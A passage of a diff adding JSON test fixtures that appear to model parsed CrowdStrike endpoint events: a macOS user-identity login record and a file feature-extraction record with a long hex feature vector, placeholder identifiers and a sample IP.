+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserIdentity\",\"LoginSessionId\":\"1138166333440\",\"AuthenticationUuidAsString\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"UserName\":\"user1\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"265\",\"UserPrincipal\":\"user1@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1530\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"265\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"UserIdentityMacV4\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"timestamp\":\"1625677478122\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info",
+                    "user"
+                ]
+            },
+            "host": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "UserIdentity",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user1",
+                    "user1@dom1",
+                    "265"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom1",
+                "email": "user1@dom1",
+                "full_name": "user1",
+                "id": "265",
+                "name": "user1"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:49.052Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "1",
+                "Entitlements": "15",
+                "FXFileSize": "502032",
+                "FeatureExtractionVersion": "2",
+                "FeatureVector": "000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501",
+                "MLModelVersion": "4",
+                "Malicious": "0",
+                "ModelPrediction": "1436899696705536",
+                "PupAdwareConfidence": "0",
+                "PupAdwareDecisionValue": "12384657383358464",
+                "SHA256HashData": "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b",
+                "name": "DeliverLocalFXToCloudMacV4"
+            },
+            "device": {
+                "id": "ffffffff45d647e6ae0ba8764a4bd570"
+            },
+            "event": {
+                "action": "DeliverLocalFXToCloud",
+                "created": "2021-07-07T17:04:49.052Z",
+                "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffff45d647e6ae0ba8764a4bd570|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"FeatureVector\":\"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3b